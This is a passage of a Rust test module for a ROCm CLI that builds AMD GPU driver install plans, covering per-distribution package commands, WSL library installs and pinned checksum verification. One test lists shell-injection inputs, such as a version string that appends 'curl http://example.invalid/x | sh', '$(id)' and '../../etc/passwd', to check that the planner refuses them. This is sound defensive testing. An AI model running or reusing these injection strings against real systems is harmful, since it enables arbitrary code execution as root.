gather failed")); + assert!(saved.executed_at_unix_ms.is_some()); + assert!(saved.post_driver.is_none()); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn driver_reconcile_without_state_gives_non_privileged_guidance() -> Result<()> { + let (root, paths) = test_paths("driver-reconcile-empty"); + + let rendered = reconcile_driver_install(&paths)?; + + assert!(rendered.contains("driver install reconciliation")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("privileged_commands: ")); + assert!(rendered.contains("no prior driver execution state found")); + assert!(rendered.contains("rocm install driver --dkms")); + assert!(!driver_install_state_path(&paths).exists()); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn driver_reconcile_updates_state_after_reboot() -> Result<()> { + let (root, paths) = test_paths("driver-reconcile-state"); + let pre_driver = rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "not_detected".to_owned(), + detail: None, + }; + let current_driver = rocm_core::DriverSummary { + policy: "linux_official_amd_dkms_wrapper".to_owned(), + status: "amdgpu_available".to_owned(), + detail: Some("/dev/kfd is present".to_owned()), + }; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: Some(2), + pre_driver, + post_driver: None, + boot_id_at_execution: Some("old-boot".to_owned()), + reboot_required: true, + reboot_observed: false, + commands: vec!["sudo apt-get install -y amdgpu-dkms".to_owned()], + reconciled_at_unix_ms: None, + reconciliation: None, + }; + let checks = vec![ + DriverPassiveCheck { + name: "/dev/kfd".to_owned(), + status: "present".to_owned(), + detail: "KFD device node".to_owned(), + }, + DriverPassiveCheck { + name: "/dev/dri/renderD*".to_owned(), + status: "missing".to_owned(), + detail: "DRM render node".to_owned(), + }, + ]; + + let rendered = reconcile_driver_install_state( + &paths, + &mut state, + current_driver, + Some("new-boot".to_owned()), + checks, + )?; + let saved = read_driver_install_state(&paths)?.expect("state should be saved"); + + assert!(rendered.contains("reboot_observed: true")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("privileged_commands: ")); + assert!(rendered.contains("driver_status: amdgpu_available")); + assert!(rendered.contains("passive_check_summary: total=2 present=1 missing=1")); + assert!(rendered.contains("/dev/dri/renderD*: missing")); + assert!(rendered.contains("missing passive checks")); + assert!(saved.reboot_observed); + assert!(saved.reconciled_at_unix_ms.is_some()); + assert_eq!( + saved + .reconciliation + .as_ref() + .map(|value| value.driver.status.as_str()), + Some("amdgpu_available") + ); + let reconciliation = saved.reconciliation.as_ref().expect("reconciliation saved"); + assert_eq!(reconciliation.check_summary.total, 2); + assert_eq!(reconciliation.check_summary.present, 1); + assert_eq!(reconciliation.check_summary.missing, 1); + let _ = fs::remove_dir_all(root); + Ok(()) + } + + #[test] + fn driver_reconcile_preserves_explicit_reboot_policy() -> Result<()> { + for reboot_required in [false, true] { + let (root, paths) = test_paths(if reboot_required { + "driver-reconcile-reboot-true" + } else { + "driver-reconcile-reboot-false" + }); + let driver = rocm_core::DriverSummary { + policy: "driver-policy".to_owned(), + status: "available".to_owned(), + detail: None, + }; + let mut state = DriverInstallState { + approved_at_unix_ms: 1, + executed_at_unix_ms: Some(2), + pre_driver: driver.clone(), + post_driver: None, + boot_id_at_execution: Some("same-boot".to_owned()), + reboot_required, + reboot_observed: false, + commands: vec!["execute".to_owned()], + reconciled_at_unix_ms: None, + reconciliation: None, + }; + + reconcile_driver_install_state( + &paths, + &mut state, + driver, + Some("same-boot".to_owned()), + Vec::new(), + )?; + let saved = read_driver_install_state(&paths)?.expect("state should be saved"); + + assert_eq!(state.reboot_required, reboot_required); + assert_eq!(saved.reboot_required, reboot_required); + let _ = fs::remove_dir_all(root); + } + Ok(()) + } + + #[test] + fn driver_passive_check_summary_counts_non_present_as_missing() { + let summary = summarize_driver_passive_checks(&[ + DriverPassiveCheck { + name: "/dev/kfd".to_owned(), + status: "present".to_owned(), + detail: "KFD".to_owned(), + }, + DriverPassiveCheck { + name: "/dev/dri/renderD*".to_owned(), + status: "missing".to_owned(), + detail: "render".to_owned(), + }, + DriverPassiveCheck { + name: "dkms".to_owned(), + status: "error".to_owned(), + detail: "dkms status failed".to_owned(), + }, + ]); + + assert_eq!(summary.total, 3); + assert_eq!(summary.present, 1); + assert_eq!(summary.missing, 2); + } + + #[test] + fn driver_plan_default_linux_preflight_has_no_execution_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ubuntu +VERSION_ID="24.04" +VERSION_CODENAME=noble +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + false, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty()); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("execution_commands: ")); + assert!(!rendered.contains("sudo apt-get")); + assert!(rendered.contains("add --dkms")); + } + + #[test] + fn resolve_shell_default_template_uses_default_when_env_unset() { + let _env = ScopedTestEnv::new(); + // A made-up variable name that nothing else sets, cleared under the lock, + // isolates the default path. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION:-7.2.4}"), + "7.2.4" + ); + } + + #[test] + fn resolve_shell_default_template_prefers_env_value_when_set() { + let mut env = ScopedTestEnv::new(); + let var = "ROCM_CLI_TEST_REPO_VERSION_OVERRIDE"; + env.set(var, "9.9.9"); + assert_eq!( + resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), + "9.9.9" + ); + } + + #[test] + fn resolve_shell_default_template_treats_empty_env_as_unset() { + let mut env = ScopedTestEnv::new(); + let var = "ROCM_CLI_TEST_REPO_VERSION_EMPTY"; + env.set(var, ""); + assert_eq!( + resolve_shell_default_template(&format!("${{{var}:-7.2.4}}")), + "7.2.4" + ); + } + + #[test] + fn resolve_shell_default_template_passes_through_non_template() { + assert_eq!(resolve_shell_default_template("7.2.4"), "7.2.4"); + } + + #[test] + fn resolve_shell_default_template_leaves_bare_var_untouched() { + let _env = ScopedTestEnv::new(); + // No `:-default`, so there is nothing to resolve to; the input must pass + // through unchanged rather than being partially rewritten. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_REPO_VERSION}"), + "${ROCM_CLI_TEST_UNSET_REPO_VERSION}" + ); + } + + #[test] + fn resolve_shell_default_template_leaves_nested_default_untouched() { + let _env = ScopedTestEnv::new(); + // A nested default is beyond the flat matcher; returning the literal + // input keeps a `${B:-x}` fragment from leaking as a "resolved" value. + assert_eq!( + resolve_shell_default_template("${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}"), + "${ROCM_CLI_TEST_UNSET_A:-${ROCM_CLI_TEST_UNSET_B:-x}}" + ); + } + + #[test] + fn driver_plan_dry_run_repo_version_line_is_resolved() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Regression for the dry-run output leaking the raw shell placeholder on + // the `repo_version:` line instead of the effective version. + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(rendered.contains("repo_version: 7.2.4")); + assert!(!rendered.contains("repo_version: ${ROCM_CLI_AMDGPU_VERSION:-7.2.4}")); + } + + #[test] + fn driver_plan_debian_12_omits_linux_modules_extra() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=debian +VERSION_ID="12" +VERSION_CODENAME=bookworm +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("linux-headers-$(uname -r)")); + assert!(!rendered.contains("linux-modules-extra-$(uname -r)")); + assert!(rendered.contains("amdgpu-dkms")); + assert!(rendered.contains("dry run only")); + } + + #[test] + fn driver_plan_rhel_97_uses_documented_dnf_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=rhel +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "linux_official_amd_dkms_wrapper"); + assert!(rendered.contains("`dnf` package manager is available")); + assert!(rendered.contains("kernel-headers-$(uname -r)")); + assert!(rendered.contains("kernel-devel-$(uname -r)")); + assert!(rendered.contains("kernel-devel-matched-$(uname -r)")); + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/rhel/9.7/")); + assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el9.noarch.rpm")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn driver_plan_oracle_linux_101_uses_el_10_uek_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=ol +VERSION_ID="10.1" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("kernel-uek-devel-$(uname -r)")); + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/10/")); + assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el10.noarch.rpm")); + assert!(rendered.contains("dry run only")); + } + + #[test] + fn driver_plan_rocky_97_uses_el_dnf_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=rocky +VERSION_ID="9.7" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!( + rendered + .contains("sudo dnf install -y kernel-headers kernel-devel kernel-devel-matched") + ); + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/9.7/")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_rocky_94_uses_el_dnf_flow() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // Rocky 9.x point releases must resolve like RHEL 9.x, not just 9.7. + let os_release = r#" +ID=rocky +VERSION_ID="9.4" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/el/9.4/")); + assert!(rendered.contains("amdgpu-install-7.2.4.70204-1.el9.noarch.rpm")); + assert!(rendered.contains("Execute: sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn driver_plan_rocky_8_and_10_remain_unsupported() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AMD documents Rocky Linux 9 only; keep the driver matrix scoped to 9.x. + for version in ["8.10", "10.0"] { + let os_release = format!("\nID=rocky\nVERSION_ID=\"{version}\"\n"); + let plan = build_driver_install_plan( + &test_examine("linux", false), + &os_release, + true, + PrivilegeEscalation::Sudo, + ); + assert!(!plan.supported, "rocky {version} should be unsupported"); + assert!(!plan.mutating, "rocky {version} must not mutate"); + assert!( + plan.commands.is_empty(), + "rocky {version} must emit no commands" + ); + } + } + + #[test] + fn driver_plan_debian_uses_intended_ubuntu_suite() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + // AMD's documented Debian install deliberately serves Debian from the + // Ubuntu-suite graphics tree (Debian 12 -> jammy). Lock that in and + // ensure the plan explains the mapping is intentional. + let os_release = r#" +ID=debian +VERSION_ID="12" +VERSION_CODENAME=bookworm +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(plan.supported); + assert_eq!(plan.codename, "jammy"); + assert!(rendered.contains("https://repo.radeon.com/graphics/7.2.4/ubuntu jammy main")); + assert!( + plan.reason + .contains("intentionally uses AMD's Ubuntu-suite repository") + ); + } + + #[test] + fn driver_plan_sles_157_uses_documented_zypper_commands() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=sles +VERSION_ID="15.7" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(rendered.contains("`zypper` package manager is available")); + assert!(rendered.contains("SUSEConnect")); + assert!(rendered.contains("sle-module-desktop-applications/15.7/x86_64")); + assert!(rendered.contains("sudo zypper install -y kernel-default-devel")); + assert!(rendered.contains("repo.radeon.com/amdgpu-install/7.2.4/sle/15.7/")); + assert!(rendered.contains("sudo zypper --no-gpg-checks install -y")); + assert!(rendered.contains("Execute: sudo zypper install -y amdgpu-dkms")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn driver_plan_unsupported_linux_is_non_mutating() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let os_release = r#" +ID=fedora +VERSION_ID="41" +"#; + let plan = build_driver_install_plan( + &test_examine("linux", false), + os_release, + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(rendered.contains("unsupported_linux_dkms_plan")); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("no driver commands will be executed")); + assert!(!rendered.contains("sudo dnf install -y amdgpu-dkms")); + } + + #[test] + fn windows_install_driver_is_validate_only() { + let _env = ScopedTestEnv::with_amd_overrides_cleared(); + let plan = build_driver_install_plan( + &test_examine("windows", false), + "", + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, true); + + assert!(!plan.supported); + assert!(!plan.mutating); + assert_eq!(plan.policy, "windows_validate_only"); + assert!(rendered.contains("approval: not required")); + assert!(rendered.contains("execution_commands: ")); + assert!(rendered.contains("post_reboot_checks:")); + assert!(rendered.contains("use `rocm examine`")); + assert!(rendered.contains("rocm examine")); + assert!(plan.commands.is_empty()); + } + + #[test] + fn wsl_install_driver_installs_rocdxg_without_dkms() { + // `dkms: true` is passed deliberately: WSL2 has no kernel module to + // build, so the flag must not pull in the bare-metal path. + // + // `build_driver_install_plan` resolves `${ROCM_CLI_AMDGPU_VERSION:-...}` + // from process env before it reaches the WSL branch, and the WSL branch + // then reads the three ROCDXG vars — an exported + // `ROCM_CLI_ROCDXG_VERSION` would steer this plan into a refusal and + // fail the `plan.supported` assertion below. So this reader takes the + // guard that clears both sets. + let _env = scoped_rocdxg_env(); + let plan = build_driver_install_plan( + &test_examine("linux", true), + "", + true, + PrivilegeEscalation::Sudo, + ); + let rendered = render_driver_install_plan(&plan, false, false); + + assert!(plan.supported); + assert!(plan.mutating); + assert_eq!(plan.policy, "wsl_rocdxg"); + assert!(!rendered.contains("amdgpu-dkms")); + // The whole point of the bug: the plan must be runnable, and must not + // send the user to a file that only exists in a git checkout. + assert!(!rendered.contains("execution_commands: ")); + assert!(!rendered.contains("scripts/")); + assert!(rendered.contains("approval: required")); + } + + #[test] + fn wsl_rocdxg_plan_installs_the_library_and_publishes_it() { + // Asserts on the default plan, so it has to take the same guard as the + // mutating tests in this binary: a concurrent test exporting + // `ROCM_CLI_ROCDXG_VERSION` would otherwise steer this one's plan. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let commands = plan.execution_commands().join("\n"); + + // Fetches the release artifact, installs it, and makes the linker see + // it. Any one of these missing leaves `wsl_rocdxg_ready` unreachable. + assert!(commands.contains("https://github.com/ROCm/librocdxg/releases/download/")); + assert!(commands.contains("rocdxg-roct_")); + assert!(commands.contains("sudo apt-get install -y '/tmp/rocdxg-roct_")); + assert!(commands.contains("sudo ldconfig")); + + // And in that order. `ldconfig` refreshes the cache from what is on + // disk now, so running it before `apt-get install` has unpacked + // `librocdxg.so` scans a directory that does not contain it yet and + // publishes nothing — leaving the plan reporting success while the + // `ldconfig -p` verification below is the only thing that would notice. + // Both steps are still present under that swap, so every `contains` + // assertion in this file stays green; only a position comparison + // catches it. + let steps = plan.execution_commands(); + let install = steps + .iter() + .position(|c| c.contains("apt-get install -y '/tmp/")) + .expect("plan installs the package"); + let publish = steps + .iter() + .position(|c| c.trim_end().ends_with("ldconfig")) + .expect("plan publishes the library"); + assert!( + install < publish, + "ldconfig must run after the package is installed:\n{}", + steps.join("\n") + ); + + // Verification asserts the two things `examine` keys `wsl_rocdxg_ready` + // on, so a silently partial install cannot report success. + let verify = plan + .commands + .iter() + .filter(|c| c.phase == DriverCommandPhase::Verify) + .map(|c| c.command.clone()) + .collect::>() + .join("\n"); + assert!(verify.contains("/opt/rocm/lib/librocdxg.so")); + assert!(verify.contains("ldconfig -p")); + } + + #[test] + fn wsl_rocdxg_plan_guards_the_gpu_plumbing_before_any_mutating_command() { + // /dev/dxg and dxcore come from the Windows side. If they are missing, + // installing the bridge library accomplishes nothing, so the plan must + // stop rather than report a successful install of something inert. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let prepare = plan + .commands + .iter() + .filter(|c| c.phase == DriverCommandPhase::Prepare) + .map(|c| c.command.clone()) + .collect::>(); + let joined = prepare.join("\n"); + assert!(joined.contains("/dev/dxg")); + assert!(joined.contains("/usr/lib/wsl/lib/libdxcore.so")); + // Named explicitly, rather than surfacing as `sudo: command not found` + // from whichever privileged step happened to run first. + assert!(joined.contains("command -v sudo")); + // Both guards run before anything is fetched or installed. + let first_mutation = plan + .execution_commands() + .iter() + .position(|c| c.contains("apt-get") || c.contains("curl")) + .expect("plan installs something"); + let last_guard = plan + .execution_commands() + .iter() + .rposition(|c| c.contains("is missing")) + .expect("plan guards the plumbing"); + assert!( + last_guard < first_mutation, + "plumbing guards must precede the first mutating command" + ); + } + + /// Clear every input that steers the ROCDXG plan, so a value exported in + /// the developer's or runner's shell cannot decide the outcome of a test + /// that is asserting on the default. + /// + /// Builds on [`ScopedTestEnv::with_amd_overrides_cleared`] rather than + /// `new` because a WSL plan reached through `build_driver_install_plan` + /// resolves the bare-metal AMDGPU overrides before it dispatches to the WSL + /// branch: a caller needing one of these two guards needs both, and one + /// helper spares every test from picking the wrong half. + fn scoped_rocdxg_env() -> ScopedTestEnv { + let mut env = ScopedTestEnv::with_amd_overrides_cleared(); + env.clear("ROCM_CLI_ROCDXG_VERSION"); + env.clear(ROCDXG_SHA256_ENV); + env.clear(ROCDXG_ALLOW_UNVERIFIED_ENV); + env + } + + #[test] + fn wsl_rocdxg_download_is_verified_against_a_pinned_digest_by_default() { + // The package is installed with `apt-get install`, which runs its + // maintainer scripts as root. With no digest, TLS to the release host + // is the only thing authenticating that download — weaker than the + // bare-metal path in this same file, which installs from a + // `signed-by=` pinned repository. So the default plan must verify. + let _env = scoped_rocdxg_env(); + let commands = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo).execution_commands(); + let joined = commands.join("\n"); + + let pinned = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(version, digest)| (*version == "1.2.2").then_some(*digest)) + .expect("the default version is pinned"); + assert!(joined.contains(pinned), "{joined}"); + assert!(joined.contains("sha256sum -c -"), "{joined}"); + + // Not a conditional: an unset variable must not be able to turn + // verification off, which is what the previous `if [ -n ... ]` form + // did. + assert!( + !joined.contains("skipping checksum verification"), + "{joined}" + ); + assert!(!joined.contains(ROCDXG_SHA256_ENV), "{joined}"); + + // Ordering is the whole point — a digest checked after the install has + // already run is decoration. + let check = commands + .iter() + .position(|c| c.contains("sha256sum -c -")) + .expect("plan verifies the download"); + let install = commands + .iter() + .position(|c| c.contains("apt-get install -y '/tmp/")) + .expect("plan installs the package"); + assert!(check < install, "digest must be checked before install"); + } + + #[test] + fn wsl_rocdxg_refuses_a_version_whose_digest_is_unknown() { + // An unpinned version is the case where silently falling back to "no + // verification" would be most dangerous, because it is reachable from + // a single environment variable. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported); + assert!(!plan.mutating); + assert!(plan.commands.is_empty(), "a refusal must run nothing"); + assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + assert!( + plan.reason.contains(ROCDXG_ALLOW_UNVERIFIED_ENV), + "{}", + plan.reason + ); + } + + #[test] + fn wsl_rocdxg_accepts_a_supplied_digest_for_an_unpinned_version() { + // The escape hatch for a release newer than this build: supply the + // digest rather than disabling verification. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + let supplied = "a".repeat(64); + env.set(ROCDXG_SHA256_ENV, &supplied); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(plan.supported); + let joined = plan.execution_commands().join("\n"); + assert!(joined.contains(&supplied), "{joined}"); + assert!(joined.contains("sha256sum -c -"), "{joined}"); + } + + #[test] + fn wsl_rocdxg_rejects_a_malformed_supplied_digest() { + // A truncated or mistyped digest must not silently fall back to the + // pinned one, which would verify a different artifact than the user + // asked for and report success. + let mut env = scoped_rocdxg_env(); + env.set(ROCDXG_SHA256_ENV, "not-a-digest"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported); + assert!(plan.commands.is_empty()); + assert!(plan.reason.contains(ROCDXG_SHA256_ENV), "{}", plan.reason); + } + + #[test] + fn wsl_rocdxg_unverified_install_takes_an_explicit_opt_out() { + // Installing unverified stays possible — it just has to be asked for, + // and the plan the user approves has to say so. + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(plan.supported); + let joined = plan.execution_commands().join("\n"); + assert!(!joined.contains("sha256sum -c -"), "{joined}"); + assert!(joined.contains("without verifying it"), "{joined}"); + } + + #[test] + fn wsl_rocdxg_opt_out_reads_negative_values_as_off() { + // The opt-out is a boolean, not a presence check. Reading "set to + // anything" as yes would turn digest verification off for a package + // installed as root on the strength of `=0` — the one value a reader + // writes when they mean the opposite. + for negative in ["0", "false", "no", "off", ""] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, negative); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!( + !plan.supported, + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} disabled verification" + ); + assert!( + plan.commands.is_empty(), + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={negative:?} built an unverified install" + ); + } + + // The affirmative spellings still work, so this is a narrowing of what + // counts as yes rather than a removal of the escape hatch. + for affirmative in ["1", "true", "yes", "on"] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", "9.9.9"); + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, affirmative); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!( + plan.supported, + "{ROCDXG_ALLOW_UNVERIFIED_ENV}={affirmative:?} was not honoured" + ); + } + } + + #[test] + fn wsl_rocdxg_refuses_a_version_that_could_escape_the_shell() { + // `ROCM_CLI_ROCDXG_VERSION` is interpolated into commands executed via + // `sh -c` after `apt-get update` has primed the sudo credential cache, + // so a `;` in it would start a second, attacker-chosen command running + // as root. The plan must refuse rather than quote its way out. + for hostile in [ + "1.2.0; curl http://example.invalid/x | sh", + "1.2.0 && id", + "$(id)", + "1.2.0`id`", + "../../etc/passwd", + "1.2.0\nid", + "1.2.0 ", + ] { + let mut env = scoped_rocdxg_env(); + env.set("ROCM_CLI_ROCDXG_VERSION", hostile); + // An opt-out must not buy past the version check either. + env.set(ROCDXG_ALLOW_UNVERIFIED_ENV, "1"); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!plan.supported, "accepted hostile version {hostile:?}"); + assert!( + plan.commands.is_empty(), + "built commands from hostile version {hostile:?}" + ); + // The refused value is echoed back in the plan a human reads, so it + // must not be able to forge lines there. Every line the renderer + // emits after the header is indented, so an unindented one came + // from the value. + let rendered = render_driver_install_plan(&plan, false, false); + for line in rendered.lines().skip(1) { + assert!( + line.starts_with(" "), + "hostile version {hostile:?} forged plan line {line:?} in:\n{rendered}" + ); + } + } + } + + #[test] + fn wsl_rocdxg_plan_drops_sudo_when_already_root() { + // Same reason the bare-metal plans take an escalation: containers and + // minimal cloud images run as uid 0 with no `sudo` binary, where an + // unconditional prefix kills every command before any driver work. + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::AlreadyRoot); + let joined = plan.execution_commands().join("\n"); + assert!(!joined.contains("sudo "), "{joined}"); + assert!(joined.contains("apt-get install -y '/tmp/"), "{joined}"); + // And it must not demand a binary it no longer uses. + assert!(!joined.contains("command -v sudo"), "{joined}"); + assert!( + !plan + .preflight_checks + .iter() + .any(|check| check.contains("`sudo` command is available")), + "{:?}", + plan.preflight_checks + ); + } + + /// Runs the digest step the plan actually generates, rather than asserting + /// that it contains some substrings. + /// + /// The step this exercises is the trust anchor for a root install, and the + /// executable self-test that used to cover it was deleted along with + /// `scripts/wsl_setup_rocdxg.sh`. Substring assertions would let a quoting, + /// field-order or newline regression in the `printf | sha256sum -c -` + /// fragment ship green, so the generated command is pinned whole with + /// `assert_eq!` and then executed — with only the two values it embeds + /// redirected at a test payload, so the quoting, spacing and field order + /// under test are production's rather than a replica's. + /// + /// Field order in particular is invisible to a `starts_with`/`ends_with` + /// pair: `sha256sum -c -` reads `DIGEST FILENAME`, so emitting the path + /// first breaks every real WSL install while still starting with + /// `printf '%s %s\n' '` and ending with `' | sha256sum -c -`. + #[cfg(unix)] + #[test] + fn wsl_rocdxg_generated_digest_step_accepts_only_the_matching_file() { + use std::process::Command; + + let _env = scoped_rocdxg_env(); + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + let version = plan.repo_version.clone(); + let pinned = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(pinned_version, digest)| { + (*pinned_version == version.as_str()).then_some(*digest) + }) + .expect("the default version is pinned"); + let deb_path = format!("/tmp/rocdxg-roct_{version}_amd64.deb"); + let generated = plan + .execution_commands() + .into_iter() + .find(|c| c.contains("sha256sum -c -")) + .expect("plan verifies the download"); + + // Whole-string, not `contains`: the digest has to come first and the + // two fields have to be separated by exactly the two spaces + // `sha256sum -c -` expects. + assert_eq!( + generated, + format!("printf '%s %s\\n' '{pinned}' '{deb_path}' | sha256sum -c -") + ); + + let (root, _paths) = test_paths("wsl-rocdxg-digest"); + fs::create_dir_all(&root).expect("test root"); + let payload = root.join(format!("rocdxg-roct_{version}_amd64.deb")); + fs::write(&payload, b"pretend this is a .deb\n").expect("write payload"); + + let digest_of = |path: &Path| -> String { + let out = Command::new("sha256sum") + .arg(path) + .output() + .expect("sha256sum runs"); + assert!(out.status.success()); + String::from_utf8(out.stdout) + .expect("utf8") + .split_whitespace() + .next() + .expect("digest field") + .to_owned() + }; + let good = digest_of(&payload); + + // The command under test is the generated one; the only edits are the + // digest being checked and the path being checked, so a regression in + // how the fragment is built reaches `sh` here instead of being masked + // by a replica built to the test's own idea of the right shape. + let step = |digest: &str| -> bool { + let command = generated + .replace(pinned, digest) + .replace(&deb_path, &payload.display().to_string()); + Command::new("sh") + .arg("-c") + .arg(&command) + .output() + .expect("sh runs") + .status + .success() + }; + + assert!(step(&good), "the matching digest must pass"); + assert!( + !step(&"0".repeat(64)), + "a mismatched digest must fail the step" + ); + assert!(!step("deadbeef"), "a malformed digest must fail the step"); + assert!(!step(""), "an empty digest must fail the step"); + + let _ = fs::remove_dir_all(&root); + } + + #[test] + fn wsl_rocdxg_install_does_not_ask_for_a_reboot() { + // ROCDXG is userspace: `ldconfig` publishes it in this boot. The + // bare-metal DKMS path is the one that needs a reboot. + let _env = scoped_rocdxg_env(); + let wsl = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + assert!(!wsl.reboot_required); + let rendered = render_driver_install_plan(&wsl, false, false); + // Anchor on the install step first: a refusal plan also reports + // `reboot_required: false`, renders `post_install_checks:` from its + // non-empty `checks`, and contains no `post_reboot` — so the three + // assertions below hold against a plan that installs nothing at all. + // Only a real install plan carries this command. + assert!( + rendered.contains("apt-get install -y '/tmp/"), + "expected a real install plan, got:\n{rendered}" + ); + assert!(rendered.contains("post_install_checks:")); + assert!(!rendered.contains("post_reboot")); + + let bare_metal = build_driver_install_plan( + &test_examine("linux", false), + "ID=ubuntu\nVERSION_ID=\"24.04\"\nVERSION_CODENAME=noble\n", + true, + PrivilegeEscalation::Sudo, + ); + assert!(bare_metal.reboot_required); + assert!(render_driver_install_plan(&bare_metal, false, false).contains("post_reboot")); + } + + #[test] + fn wsl_rocdxg_version_is_overridable_and_reaches_every_reference() { + // One resolved value drives the archive name, the release tag and the + // download path, so an override cannot leave a URL pointing at the + // default. The value is resolved at plan-build time rather than left as + // a `${VAR:-default}` template, so the plan the user reviews names the + // build the install will actually fetch. + let mut env = scoped_rocdxg_env(); + + let plan = wsl_rocdxg_driver_plan(PrivilegeEscalation::Sudo); + 